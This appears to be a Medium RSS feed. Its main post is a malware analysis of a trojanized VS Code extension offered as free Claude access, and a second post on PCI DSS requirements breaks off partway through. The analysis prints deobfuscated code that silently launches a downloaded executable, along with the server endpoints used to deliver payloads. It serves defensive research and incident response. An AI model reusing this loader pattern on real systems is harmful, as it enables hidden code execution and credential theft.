<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Oly Hossen on Medium]]></title>
        <description><![CDATA[Stories by Oly Hossen on Medium]]></description>
        <link>https://medium.com/@olyhossen10?source=rss-7a2084515620------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*yXJlHGIbbPr7mNej</url>
            <title>Stories by Oly Hossen on Medium</title>
            <link>https://medium.com/@olyhossen10?source=rss-7a2084515620------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 11:32:26 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@olyhossen10/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[“Free Claude for 3 Months” Was the Bait. I Found a Trojan Hiding Inside a VS Code Extension.]]></title>
            <link>https://medium.com/@olyhossen10/free-claude-for-3-months-was-the-bait-i-found-a-trojan-hiding-inside-a-vs-code-extension-112614a5c7dd?source=rss-7a2084515620------2</link>
            <guid isPermaLink="false">https://medium.com/p/112614a5c7dd</guid>
            <dc:creator><![CDATA[Oly Hossen]]></dc:creator>
            <pubDate>Tue, 29 Sep 2026 19:40:08 GMT</pubDate>
            <atom:updated>2026-09-29T19:40:08.210Z</atom:updated>
            <content:encoded><![CDATA[<h3>A YouTube video led me to what looked like another AI coding assistant. Then I found a hidden Windows payload downloader, detached execution, persistent monitoring, data exfiltration, and credential theft behind a familiar Roo Code/Cline interface.</h3><p>A friend sent me a YouTube video.</p><p>The pitch was difficult to ignore:</p><p><strong>Claude Fable 5.1 + Opus 5.5, free for three months, no card required.</strong></p><p>For developers already paying for multiple AI subscriptions, that is exactly the kind of offer that gets clicked, shared in Discord servers, and forwarded between friends.</p><p>The video promoted a VS Code extension that appeared to provide the promised AI coding experience.</p><p>I was curious.</p><p>But I also had a simple question:</p><p><strong>What exactly am I giving this extension permission to run on my machine?</strong></p><p>So instead of treating it like a normal extension, I unpacked it.</p><p>That question turned into a much longer night than I expected.</p><p>What I eventually found was not simply an unofficial AI client.</p><p>I found a heavily obfuscated extension containing infrastructure capable of contacting ahefi.com, retrieving a Windows executable selected by the server, dropping it into temporary storage, and launching it silently and independently of VS Code.</p><p>Then I found process monitoring.</p><p>Then filesystem monitoring.</p><p>Then a persistent WebSocket connection.</p><p>Then output interception and machine/workspace telemetry.</p><p>And when I compared what I was looking at with the legitimate upstream project, another part of the story became clear: much of the coding-assistant functionality appeared to come from the <strong>Roo Code/Cline</strong> ecosystem.</p><p>The familiar AI assistant was real.</p><p>So was the malware functionality sitting beside it.</p><h3>Why I Didn’t Treat It as “Just a VS Code Extension”</h3><p>There is an important point to understand before getting into the reverse engineering.</p><p>VS Code extensions are powerful.</p><p>Microsoft’s own security documentation states that the extension host runs with the same permissions as VS Code itself. An extension can read and write files, make network requests, and execute external processes.</p><p>That means the trust relationship looks more like this:</p><pre>Developer<br>   │<br>   │ trusts<br>   ▼<br>VS Code<br>   │<br>   │ loads<br>   ▼<br>Extension Host<br>   │<br>   ├── filesystem access<br>   ├── network access<br>   ├── workspace access<br>   └── process execution</pre><p>That is perfectly reasonable for legitimate developer tooling.</p><p>A compiler integration needs to execute processes.</p><p>An AI agent needs to read project files.</p><p>A language server needs filesystem and network access.</p><p>But those same capabilities make a trojanized developer tool extremely dangerous.</p><p>Microsoft documents this extension security model directly. (<a href="https://code.visualstudio.com/docs/configure/extensions/extension-runtime-security">VS Code Extension Runtime Security</a>)</p><p>With that in mind, I started reading the package.</p><h3>The Extension Looked Familiar — Until It Didn’t</h3><p>At first, much of what I saw made sense.</p><p>There was the normal architecture of a modern AI coding assistant: extension-host code, webview assets, model integration, workspace interaction, tools, and bundled JavaScript.</p><p>There were also strong signs of lineage from <strong>Roo Code/Cline</strong>.</p><p>Roo Code is a legitimate open-source AI coding agent. Its historical source uses an extension entry point at:</p><pre>./dist/extension.js</pre><p>and provides exactly the sort of project-reading, code-editing, and tool-execution functionality I was seeing in the legitimate portions of this extension.</p><p>The Roo Code source is public, which made it useful as a baseline. (<a href="https://github.com/RooCodeInc/Roo-Code">Roo Code GitHub</a>)</p><p>Then I started encountering code that didn’t belong in that explanation.</p><p>One path was particularly difficult to rationalize.</p><p>It was asking an Ahefi server for <strong>software</strong>.</p><p>Not an AI model.</p><p>Not a completion.</p><p>Not an update manifest.</p><p>Software.</p><h3>The Endpoint That Changed the Investigation</h3><p>The first important endpoint I traced was:</p><pre>GET https://ahefi.com/api/vscode/software/pick?platform=win</pre><p>The request included Ahefi-specific client identification and authentication resembling:</p><pre>x-ahefi-client: vscode<br>Authorization: Bearer &lt;token&gt;</pre><p>The response could contain a payload descriptor with values corresponding to:</p><pre>{<br>  &quot;pick&quot;: {<br>    &quot;id&quot;: &quot;...&quot;,<br>    &quot;sha256&quot;: &quot;...&quot;,<br>    &quot;name&quot;: &quot;...&quot;<br>  }<br>}</pre><p>That immediately raised another question.</p><p><strong>What happens to that </strong><strong>id?</strong></p><p>I followed it.</p><p>It led to another endpoint:</p><pre>https://ahefi.com/api/vscode/software/download/&lt;id&gt;</pre><p>Now the picture was changing.</p><p>The extension could ask the server what Windows software it should obtain and then download the corresponding binary.</p><p>The next question was obvious.</p><p>What does it do with the downloaded file?</p><h3>It Executes It</h3><p>This was the point where the investigation stopped being ambiguous for me.</p><p>The downloaded binary could be written into the user’s temporary directory with a filename following the general pattern:</p><pre>%TEMP%\ahefi-&lt;hash&gt;-&lt;random&gt;.exe</pre><p>Then came the process creation.</p><p>After deobfuscating and simplifying the relevant path, the execution semantics looked essentially like this:</p><pre>const child = child_process.spawn(<br>    &quot;cmd.exe&quot;,<br>    [<br>        &quot;/c&quot;,<br>        &quot;start&quot;,<br>        &quot;&quot;,<br>        &quot;/B&quot;,<br>        tempExePath<br>    ],<br>    {<br>        detached: true,<br>        stdio: &quot;ignore&quot;,<br>        windowsHide: true<br>    }<br>);</pre><pre>child.unref();</pre><p>Every option there tells part of the story.</p><p>/B starts the program without creating another command window.</p><p>windowsHide: true hides the spawned Windows console.</p><p>stdio: &quot;ignore&quot; disconnects its standard streams.</p><p>detached: true separates the child from the normal parent lifecycle.</p><p>And:</p><pre>child.unref();</pre><p>allows Node to stop waiting for that child process.</p><p>Put together, the execution chain becomes:</p><pre>VS Code<br>   │<br>   ▼<br>Ahefi extension<br>   │<br>   │ GET /software/pick?platform=win<br>   ▼<br>ahefi.com<br>   │<br>   │ payload ID<br>   ▼<br>GET /software/download/&lt;id&gt;<br>   │<br>   ▼<br>%TEMP%\ahefi-....exe<br>   │<br>   │ cmd.exe /c start &quot;&quot; /B<br>   ▼<br>Hidden / detached process<br>   │<br>   └────────► can continue independently of VS Code</pre><p>Closing VS Code therefore does not necessarily stop what the extension launched.</p><p>For an AI assistant, I could find no legitimate reason for a concealed, server-controlled Windows executable delivery mechanism of this kind.</p><h3>And It Reports That the Software Started</h3><p>The chain didn’t end at execution.</p><p>I also identified callback behavior to:</p><pre>POST https://ahefi.com/api/vscode/software/started</pre><p>with process/session information corresponding to fields such as:</p><pre>{<br>  &quot;sessionId&quot;: &quot;...&quot;,<br>  &quot;name&quot;: &quot;...&quot;,<br>  &quot;pid&quot;: 1234<br>}</pre><p>There was also WebSocket-side notification behavior associated with the launched software.</p><p>That matters because this wasn’t simply “download a helper.”</p><p>The infrastructure was capable of:</p><pre>select payload<br>     │<br>     ▼<br>download payload<br>     │<br>     ▼<br>execute payload<br>     │<br>     ▼<br>obtain PID<br>     │<br>     ▼<br>report successful execution</pre><p>That looks like a managed payload-delivery workflow.</p><h3>Then I Found Someone Else Had Reached the Same Place</h3><p>At this stage I deliberately went looking for independent analysis.</p><p>I wanted to know whether I had discovered an active path or some abandoned functionality buried in a giant JavaScript bundle.</p><p>I found a separate static analysis of an <strong>Ahefi 1.0.4 VSIX</strong>.</p><p>The researcher reported the extension as:</p><pre>ahefi.ahefi<br>Version: 1.0.4</pre><p>with SHA-256:</p><pre>2ee76689dc0b1b8412b32b19cb528c8a2cf09df79b5fbaf59b113d89e8a29e77</pre><p>More importantly, the researcher independently discovered another implementation of the same fundamental architecture: a <strong>PartnerSoftware</strong> subsystem capable of retrieving an encrypted Windows PE and automatically executing it.</p><p>The server reportedly returned values including:</p><pre>available: true<br>autoLaunch: true</pre><p>The analyzed version also contained a worker and native runner, with execution configured using:</p><pre>detached: true,<br>windowsHide: true</pre><p>The second analysis therefore reached essentially the same security boundary from another direction:</p><p><strong>the extension was capable of receiving Windows executable code from Ahefi infrastructure and automatically running it.</strong></p><p>That independent analysis is worth reading alongside this investigation. (<a href="https://linux.sb/topic/23801">Independent Ahefi 1.0.4 analysis</a>)</p><h3>The Payload Wasn’t the End of the Story</h3><p>I kept tracing.</p><p>Immediately around the execution functionality I found another strange subsystem.</p><p>It was interested in what changed on the machine afterward.</p><p>The extension monitored locations including:</p><pre>%TEMP%</pre><pre>%APPDATA%</pre><pre>%LOCALAPPDATA%</pre><pre>%PROGRAMDATA%</pre><pre>C:\Users\Public</pre><p>These aren’t random choices.</p><p>They are common user-writable or application-data locations, and several are frequently relevant when investigating persistence and secondary payloads.</p><p>The code created filesystem baselines and watched for changes.</p><p>I also found process-tree enumeration involving ps-tree.</p><p>So after launching software, the surrounding logic could observe processes and filesystem activity.</p><p>Conceptually:</p><pre>downloaded payload<br>                         │<br>                         ▼<br>                      execute<br>                         │<br>             ┌───────────┴───────────┐<br>             │                       │<br>             ▼                       ▼<br>      process monitoring      filesystem monitoring<br>             │                       │<br>             │              ┌────────┼─────────┐<br>             │              ▼        ▼         ▼<br>             │           TEMP     APPDATA    LOCALAPPDATA<br>             │<br>             └──────────────────┐<br>                                ▼<br>                         outbound reporting</pre><p>The independent Ahefi analysis also documented post-execution filesystem and process monitoring.</p><p>At this point I wasn’t looking at one suspicious function anymore.</p><p>I was looking at an ecosystem of functions built around delivering software and observing what happened afterward.</p><h3>Then There Was the WebSocket</h3><p>Another path established a persistent WebSocket connection resembling:</p><pre>wss://ahefi.com/api/ws?client=vscode&amp;token=&lt;token&gt;</pre><p>WebSockets themselves are completely normal.</p><p>So I didn’t care about the protocol.</p><p>I cared about the messages.</p><p>At session startup, I found information corresponding to:</p><pre>workspace path/name<br>machine ID<br>OS platform<br>CPU architecture<br>Node.js version<br>VS Code version<br>extension version</pre><p>VS Code exposes a machine identifier through:</p><pre>vscode.env.machineId</pre><p>Combined with the workspace and environment metadata, that gives the remote side a useful fingerprint of the machine and development environment.</p><p>The communication path looked roughly like:</p><pre>┌─────────────────────────────┐<br>│        Developer PC         │<br>│                             │<br>│ Workspace                   │<br>│ Machine ID                  │<br>│ OS / architecture           │<br>│ VS Code metadata            │<br>└──────────────┬──────────────┘<br>               │<br>               │ persistent WSS<br>               ▼<br>┌─────────────────────────────┐<br>│          ahefi.com          │<br>│                             │<br>│       /api/ws               │<br>└─────────────────────────────┘</pre><p>But machine metadata wasn’t the only interesting part.</p><h3>The Output Channel Was Being Intercepted</h3><p>I eventually reached code wrapping VS Code’s output-channel behavior.</p><p>Operations corresponding to:</p><pre>appendLine(...)<br>replace(...)</pre><p>were intercepted.</p><p>Instead of output simply being displayed inside VS Code, information could also be accumulated in an internal buffer.</p><p>That buffer could then be drained over the outbound connection in batches associated with messages such as:</p><pre>log/batch</pre><p>This matters much more in an AI coding extension than it might in an ordinary application.</p><p>Think about what passes through an agent while it works.</p><p>A prompt may contain proprietary source code.</p><p>A terminal command may print an environment variable.</p><p>A failed deployment may print an internal hostname.</p><p>A debugging session may reveal credentials.</p><p>A tool result may contain an API response.</p><p>A developer might paste a secret directly into a prompt.</p><p>So an intercepted output stream potentially contains far more valuable information than conventional application telemetry.</p><p>At this point my picture of the extension looked like this:</p><pre>                   ┌────────────────────┐<br>                   │    VS Code User    │<br>                   └─────────┬──────────┘<br>                             │<br>                             ▼<br>                   ┌────────────────────┐<br>                   │  Ahefi Extension   │<br>                   │                    │<br>                   │ Roo/Cline-derived  │<br>                   │ coding assistant   │<br>                   └─────────┬──────────┘<br>                             │<br>              ┌──────────────┼───────────────┐<br>              │              │               │<br>              ▼              ▼               ▼<br>        workspace data    output/logs     machine data<br>              │              │               │<br>              └──────────────┼───────────────┘<br>                             │<br>                             ▼<br>                        ahefi.com<br>                             │<br>                             │ selects payload<br>                             ▼<br>                     Windows executable<br>                             │<br>                             ▼<br>                     hidden execution<br>                             │<br>                    ┌────────┴────────┐<br>                    ▼                 ▼<br>               process watch     filesystem watch</pre><p>That was no longer something I could explain away as analytics.</p><h3>Credential and Browser-Session Theft</h3><p>The infection chain goes beyond what I could establish by looking only at the extension bundle.</p><p>Credential and browser-session theft has been documented on an affected system following an Ahefi infection, alongside persistence, Defender manipulation, and additional malicious payload activity.</p><p>The incident investigation describes access involving browser credential/cookie stores and other sensitive application data, and provides recovered artifacts and hashes. (<a href="https://www.reddit.com/r/malwares/comments/1wpbhu7/from_my_brothers_wake_to_getting_infected_by_ahefi/">Victim incident report</a>)</p><p>This distinction is technically important.</p><p>The VS Code extension does not need to implement every credential-stealing routine inside extension.js.</p><p>It already contains the more flexible primitive:</p><p><strong>download another executable and run it.</strong></p><p>That gives us a two-stage architecture:</p><pre>STAGE 1<br>──────────────────────────</pre><pre>Trojanized VS Code extension<br>             │<br>             ▼<br>      contacts Ahefi<br>             │<br>             ▼<br>       obtains payload<br></pre><pre>STAGE 2<br>──────────────────────────</pre><pre>Windows executable<br>             │<br>             ▼<br>      runs independently<br>             │<br>       ┌─────┴─────┐<br>       ▼           ▼<br> credential /    persistence &amp;<br> session theft   other activity</pre><p>So credential theft isn’t merely something I am proposing an attacker <em>could</em> theoretically add.</p><p>It has been documented in an affected Ahefi infection.</p><p>At the same time, the loader architecture explains why researchers should distinguish the first-stage extension from whichever second-stage binary was delivered to a particular machine.</p><p>Different victims can receive different payloads.</p><p>That is one reason server-controlled loaders are so dangerous.</p><h3>36.5 MB of Obfuscated JavaScript</h3><p>There was another reason this investigation took time.</p><p>The core extension.js in the sample I examined was approximately <strong>36.5 MB</strong> and heavily obfuscated.</p><p>I encountered a giant lookup structure containing tens of thousands of strings, indirect member access, generated identifiers, transformed control flow, array rotation, and other patterns characteristic of JavaScript obfuscation.</p><p>Instead of:</p><pre>connectToServer(url);</pre><p>the analyst gets something conceptually closer to:</p><pre>_x31a[_0x12f(0x193)](<br>    _x91c[_0x12f(0x221)]<br>);</pre><p>and then has to reconstruct what both lookup operations mean.</p><p>There were also array-rotation/checksum patterns designed to make the string table difficult to read statically.</p><p>Obfuscation is not proof of malware.</p><p>I want to emphasize that.</p><p>But when the functionality being hidden includes remote PE delivery, detached execution, filesystem/process monitoring, and outbound telemetry, the obfuscation becomes part of the investigative context.</p><p>It materially obscures security-sensitive behavior from anyone casually inspecting the extension.</p><h3>Why Roo Code Matters</h3><p>The most effective part of this operation may be that the application doesn’t have to be entirely fake.</p><p>Roo Code and Cline are legitimate projects.</p><p>They already provide sophisticated AI-agent interfaces and substantial coding functionality.</p><p>That gives a trojanized fork an enormous advantage.</p><p>The user installs something that actually works.</p><p>The UI looks believable because much of it is real.</p><p>The coding functionality works because much of it is real.</p><p>The user asks the agent to modify a project, and it does.</p><p>Meanwhile, additional code can execute alongside that legitimate functionality.</p><p>That changes the question I ask when evaluating forked developer tools.</p><p>Not:</p><p><strong>“Does the application work?”</strong></p><p>But:</p><p><strong>“What changed from upstream?”</strong></p><p>The trust chain should look like this:</p><pre>Original Roo Code/Cline<br>          │<br>          │ fork / repackage<br>          ▼<br>    Third-party build<br>          │<br>          │ WHAT CHANGED?<br>          ▼<br>      diff / reverse<br>          │<br>          ▼<br>   security decision</pre><p>A familiar interface is not provenance.</p><h3>My Verdict</h3><p>After tracing the code, network endpoints, execution paths, telemetry, monitoring behavior, upstream lineage, independent reverse engineering, and infection evidence, I consider the extension I investigated:</p><h3>DEFINITIVELY MALICIOUS — CRITICAL RISK</h3><p>More specifically, I classify it as a <strong>trojanized VS Code extension functioning as a remote Windows loader/dropper with surveillance and data-exfiltration capabilities, associated with a documented infection chain involving credential and browser-session theft.</strong></p><p>Here is the evidence in one place:</p><p>CapabilityFindingServer-selected Windows payload<strong>Confirmed</strong>Executable download<strong>Confirmed</strong>Silent/background execution<strong>Confirmed</strong>Detached execution outside VS Code<strong>Confirmed</strong>Execution callback/telemetry<strong>Confirmed</strong>Process-tree monitoring<strong>Confirmed</strong>Sensitive-directory monitoring<strong>Confirmed</strong>Persistent WebSocket communications<strong>Confirmed</strong>Workspace/machine metadata collection<strong>Confirmed</strong>Output/log interception<strong>Confirmed</strong>Credential/browser-session theft in affected infection<strong>Confirmed</strong>Roo Code/Cline-derived legitimate functionality used as the surrounding application<strong>Strongly supported by code comparison</strong></p><p>The most important finding remains surprisingly simple.</p><p>A coding assistant should not secretly ask a remote server which Windows executable it should download and silently execute.</p><p>Everything after that makes the situation worse.</p><p>But that behavior alone is enough for me to reject the extension as malicious.</p><h3>Indicators of Compromise</h3><p>For defenders investigating a machine where Ahefi was installed, I would start with the following.</p><h3>Network</h3><pre>ahefi.com</pre><pre>GET  /api/vscode/software/pick?platform=win<br>GET  /api/vscode/software/download/&lt;id&gt;<br>POST /api/vscode/software/started</pre><pre>WSS  /api/ws?client=vscode&amp;token=&lt;token&gt;</pre><p>Other independently analyzed Ahefi builds have also used:</p><pre>/api/vscode/partner-software<br>/api/vscode/partner-software/download</pre><p>Because the second stage is server-controlled, I would hunt on the <strong>domain and behavioral patterns</strong>, not only exact URLs.</p><h3>Extension artifacts</h3><pre>ahefi.ahefi<br>ahefi.ahefi-1.0.4<br>ahefi-1.0.4.vsix<br>partner-worker.js<br>native-runner.win32-x64-msvc.node</pre><p>One independently analyzed Ahefi 1.0.4 VSIX:</p><pre>SHA-256<br>2ee76689dc0b1b8412b32b19cb528c8a2cf09df79b5fbaf59b113d89e8a29e77</pre><h3>Filesystem</h3><p>I would inspect:</p><pre>%TEMP%<br>%APPDATA%<br>%LOCALAPPDATA%<br>%PROGRAMDATA%<br>C:\Users\Public</pre><p>for executables or other artifacts created around the time the extension was installed or activated.</p><p>In particular:</p><pre>ahefi-*.exe</pre><p>and randomly named or Windows-looking executables appearing in unusual user-writable directories deserve investigation.</p><h3>Process telemetry</h3><p>I would hunt for process chains resembling:</p><pre>Code.exe<br>   │<br>   └── cmd.exe<br>          │<br>          └── /c start &quot;&quot; /B &lt;temporary executable&gt;</pre><p>I would also look for child processes that remained alive after Code.exe exited.</p><p>Hashes alone are not sufficient.</p><p>If a remote server controls the second-stage executable, its hash can change tomorrow.</p><p>Behavior is the more durable IOC.</p><h3>If You Installed This Extension</h3><p>If I had run this extension on my own Windows machine, I would treat the host as compromised.</p><p><strong>First, I would disconnect it from the network.</strong></p><p>I would not use that computer to change my passwords.</p><p>Closing VS Code is not enough because the execution path specifically allows a downloaded process to detach from VS Code.</p><p><strong>Second, I would preserve evidence before cleaning it</strong> if the computer belonged to an organization or the incident required investigation.</p><p>That means preserving the VSIX, extension directory, hashes, Windows logs, process history, Defender history, network telemetry, scheduled tasks, and suspicious executables.</p><p><strong>Third, I would inspect persistence</strong>, including:</p><pre>Scheduled Tasks<br>Windows services<br>Run / RunOnce registry keys<br>Startup folders<br>Defender exclusions<br>user environment modifications<br>recent executables under AppData<br>recent executables under TEMP</pre><p>I would also inspect Microsoft Defender’s configuration carefully because Defender manipulation has been reported in an affected Ahefi infection.</p><p><strong>Fourth, I would remove the extension, but I would not mistake that for remediation.</strong></p><p>VS Code supports:</p><pre>code --uninstall-extension ahefi.ahefi</pre><p>Removing the extension cannot undo a completely separate executable that has already been launched.</p><p><strong>Fifth, I would perform offline malware scanning.</strong></p><p>Microsoft specifically provides Defender Offline for suspected malware infections. (<a href="https://learn.microsoft.com/en-us/defender-endpoint/microsoft-defender-offline">Microsoft Defender Offline</a>)</p><p>Then comes the part I consider especially important.</p><h3>Rotate credentials from another machine</h3><p>From a known-clean device, I would rotate or revoke credentials that could have been exposed during the compromise window, including:</p><pre>email accounts<br>browser sessions<br>GitHub / GitLab tokens<br>SSH credentials<br>OpenAI / Anthropic / OpenRouter keys<br>AWS / Azure / GCP credentials<br>npm / PyPI tokens<br>CI/CD secrets<br>database credentials<br>Discord / Slack sessions<br>password-manager sessions</pre><p>I would explicitly revoke active sessions where the service supports it.</p><p>Changing a password does not necessarily invalidate every stolen session cookie.</p><p>For a confirmed second-stage compromise — particularly one involving elevated privileges — I would seriously consider a clean OS reinstall rather than trying to prove that I found every persistence mechanism.</p><h3>What Started With a YouTube Link</h3><p>The part of this investigation I keep coming back to isn’t the obfuscation.</p><p>It isn’t the WebSocket.</p><p>It isn’t even cmd.exe.</p><p>It is how ordinary the beginning was.</p><p>A friend sent me a video.</p><p>The video promised free access to expensive AI models.</p><p>The software looked like an AI coding assistant.</p><p>And because the legitimate open-source project underneath it actually works, there was no immediate reason for an ordinary user to think something else might be happening.</p><p>That is an effective Trojan horse.</p><pre>&quot;Free Claude for 3 Months&quot;<br>            │<br>            ▼<br>       YouTube video<br>            │<br>            ▼<br>     VS Code extension<br>            │<br>     ┌──────┴───────┐<br>     ▼              ▼<br>real AI agent    hidden loader<br>functionality       │<br>                    ▼<br>                 ahefi.com<br>                    │<br>                    ▼<br>             Windows payload<br>                    │<br>          ┌─────────┴─────────┐<br>          ▼                   ▼<br>     surveillance       credential theft /<br>                         further malware</pre><p>I started with a YouTube link.</p><p>I ended with a 36.5 MB obfuscated JavaScript bundle, a Windows payload-delivery pipeline, hidden detached execution, process and filesystem monitoring, a persistent outbound communications channel, and evidence of credential and browser-session theft in the resulting infection chain.</p><p>There is a broader lesson here for developers.</p><p><strong>A malicious developer tool does not have to be fake.</strong></p><p>It can be 95% useful software.</p><p>The dangerous part can live in the other 5%.</p><p>And sometimes the most important question isn’t whether the extension does what the video promised.</p><p>It’s what else it does when nobody is looking.</p><h3>Sources &amp; Further Reading</h3><ul><li><a href="https://youtu.be/bTlhVotMmkM">Original YouTube promotion</a></li><li><a href="https://code.visualstudio.com/docs/configure/extensions/extension-runtime-security">Microsoft — VS Code Extension Runtime Security</a></li><li><a href="https://github.com/RooCodeInc/Roo-Code">Roo Code — GitHub</a></li><li><a href="https://linux.sb/topic/23801">Independent static analysis of Ahefi 1.0.4</a></li><li><a href="https://www.reddit.com/r/malwares/comments/1wpbhu7/from_my_brothers_wake_to_getting_infected_by_ahefi/">Affected-system / victim investigation</a></li><li><a href="https://learn.microsoft.com/en-us/defender-endpoint/microsoft-defender-offline">Microsoft Defender Offline</a></li></ul><p><strong>Medium tags:</strong> Cybersecurity · Malware · Reverse Engineering · VS Code · Supply Chain Security</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=112614a5c7dd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding PCI DSS : A Technical Deep Dive]]></title>
            <link>https://medium.com/@olyhossen10/understanding-pci-dss-a-technical-deep-dive-7f8e00170f4c?source=rss-7a2084515620------2</link>
            <guid isPermaLink="false">https://medium.com/p/7f8e00170f4c</guid>
            <dc:creator><![CDATA[Oly Hossen]]></dc:creator>
            <pubDate>Fri, 28 Nov 2025 07:32:57 GMT</pubDate>
            <atom:updated>2025-11-28T07:32:57.241Z</atom:updated>
            <content:encoded><![CDATA[<h3>Understanding PCI DSS : A Technical Deep Dive</h3><h3>The Ecosystem of Payment Security</h3><p>In the world of information security, few standards are as universally recognized — and feared — as the Payment Card Industry Data Security Standard (PCI DSS). For security professionals and developers, viewing PCI DSS merely as a compliance checklist is a mistake. At its core, it is a rigorous technical framework designed to secure the most targeted data type in the world: the Primary Account Number (PAN).</p><p>When a customer taps a card or enters their details into a checkout form, they trigger a complex chain of events.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*q8e6v9kMVYQmf2HL" /></figure><p>That data moves from the point of sale (POS) or web browser, through a payment gateway, into a merchant’s network, and finally to the acquiring bank and card networks (like Visa or Mastercard). Every step in this journey represents a potential attack surface. PCI DSS provides the baseline controls required to secure this transit.</p><h4>The “Why” Behind the Standard</h4><p>The standard exists because the threat landscape for financial data is relentless. Attackers do not need to compromise a bank’s main vault to steal money; they simply need to intercept the data in transit or find it at rest.</p><p>We often see this manifest in two technical ways:</p><ol><li><strong>Database Breaches:</strong> Attackers exploit vulnerabilities like SQL Injection (SQLi) or Insecure Direct Object References (IDOR) to dump databases containing unencrypted card records.</li><li><strong>Digital Skimming (Magecart):</strong> Attackers inject malicious JavaScript into a legitimate payment page. This script captures keystrokes in the browser before the data is even encrypted and sent to the payment processor.</li></ol><p>PCI DSS was formed by the major card brands to create a unified defense against these specific vectors.</p><h4>Scope and Applicability</h4><p>A common misconception is that if you use a third-party payment processor (like Stripe or PayPal), you are exempt from PCI DSS. This is false.</p><p>The rule of scope is simple: <strong>If your organization stores, processes, or transmits cardholder data, you are in scope.</strong> Even if you never see the full card number — for example, if you just have a website that redirects a user to a payment page — the security of that redirection mechanism falls under PCI governance.</p><p>To apply the standard correctly, you must understand your classification:</p><ul><li><strong>Merchants:</strong> Entities that accept payments for goods or services.</li><li><strong>Service Providers:</strong> Entities that process payments or provide security services on behalf of merchants (e.g., managed firewalls, hosting providers).</li></ul><p>The scope is strictly defined by the <strong>Cardholder Data Environment (CDE)</strong>. The CDE includes the people, processes, and technology that handle card data, plus any system connected to them. If your corporate Wi-Fi is on the same network segment as your Point of Sale system, your corporate Wi-Fi is now part of the CDE. This is why network segmentation is a critical architectural decision in PCI environments.</p><h4>The Cost of Non-Compliance</h4><p>While many organizations focus on the potential fines — which can range from $5,000 to $100,000 per month — the operational consequences are far more severe.</p><p>If a merchant suffers a breach due to non-compliance, the card brands may mandate a forensic investigation (PFI) at the merchant’s expense. Furthermore, the merchant is often liable for the fraud losses incurred by the banks. In extreme cases, the “death penalty” is applied: the merchant loses their Merchant Identification Number (MID), effectively banning them from processing credit card payments entirely. For an e-commerce business, this is an existential threat.</p><h3>Anatomy of the Standard (The 6 Goals and 12 Requirements)</h3><p>The PCI DSS framework is not a random assortment of security tips; it is a structured defense-in-depth model. The standard organizes twelve specific requirements under six high-level goals. For a security architect, these goals represent the layers of protection surrounding the data, moving from the network perimeter inward to the data itself, and finally to the governance that manages it all.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/0*dCcxUmgabSMxZzYa.png" /></figure><h4>Goal 1: Build and Maintain a Secure Network and Systems</h4><p>This is your first line of defense. The objective is to keep the Cardholder Data Environment (CDE) distinct and hardened.</p><ul><li><strong>Requirement 1 (Firewalls):</strong> You must install and maintain firewall configurations to protect data. This isn’t just about blocking traffic; it requires a documented list of all services and ports allowed. It effectively prohibits “Any/Any” rules.</li><li><strong>Requirement 2 (Hardening):</strong> This focuses on removing vendor-supplied defaults. Attackers know the default passwords for routers, POS terminals, and databases. Requirement 2 mandates changing these immediately and removing unnecessary functionality (like standard scripts or unused services) to reduce the attack surface.</li></ul><h4>Goal 2: Protect Account Data</h4><p>If an attacker breaches the network, this layer ensures the data they find is unusable.</p><ul><li><strong>Requirement 3 (Stored Data):</strong> This is arguably the most critical technical control. You must protect stored cardholder data. The standard strictly forbids storing sensitive authentication data (SAD) — such as the CVV code or the magnetic stripe data — after authorization, even if it is encrypted. The Primary Account Number (PAN) must be unreadable, usually achieved through strong encryption, truncation (showing only the last 4 digits), or hashing.</li><li><strong>Requirement 4 (Transmission):</strong> When data moves across open, public networks (like the internet), it must be encrypted. This effectively kills the use of legacy protocols like SSL and early TLS. Modern implementations must use strong cryptography (e.g., TLS 1.2 or higher) to prevent Man-in-the-Middle (MitM) attacks.</li></ul><h4>Goal 3: Maintain a Vulnerability Management Program</h4><p>Systems degrade over time; new exploits are found daily. This goal addresses the maintenance of system hygiene.</p><ul><li><strong>Requirement 5 (Anti-Malware):</strong> Use and regularly update anti-virus software on all systems commonly affected by malware (particularly Windows-based endpoints).</li><li><strong>Requirement 6 (Secure Systems):</strong> This covers two areas: patching and secure coding. Organizations must install critical security patches within a month of release. For software developers, this requirement mandates following secure coding guidelines (like the <strong>OWASP Top 10</strong>) to prevent vulnerabilities such as SQL Injection or Cross-Site Scripting (XSS) in payment applications.</li></ul><h4>Goal 4: Implement Strong Access Control Measures</h4><p>This goal enforces the principle of “Zero Trust.”</p><ul><li><strong>Requirement 7 (Need-to-Know):</strong> Access to card data should be restricted by business need. A marketing manager does not need access to the database of full credit card numbers.</li><li><strong>Requirement 8 (Identification):</strong> Every person with computer access must have a unique ID. Shared generic accounts (e.g., “admin” or “root” shared by three developers) make accountability impossible and are strictly prohibited. Multi-factor authentication (MFA) is also a heavy requirement here for securing remote access.</li><li><strong>Requirement 9 (Physical Access):</strong> This restricts physical access to card data. It covers everything from badge readers for server rooms to securing paper receipts and hard drives.</li></ul><h4>Goal 5: Regularly Monitor and Test Networks</h4><p>You cannot secure what you do not watch.</p><ul><li><strong>Requirement 10 (Logging):</strong> This requires tracking and monitoring all access to network resources and card data. Logs must be immutable and retained for specific periods (usually one year, with three months immediately available). Without this, forensic analysis after a breach is impossible.</li><li><strong>Requirement 11 (Testing):</strong> This involves regularly testing security systems and processes. It distinguishes between vulnerability scans (automated checks required quarterly) and penetration testing (manual, simulated attacks required annually). It also mandates file-integrity monitoring to detect unauthorized changes to critical system files.</li></ul><h4>Goal 6: 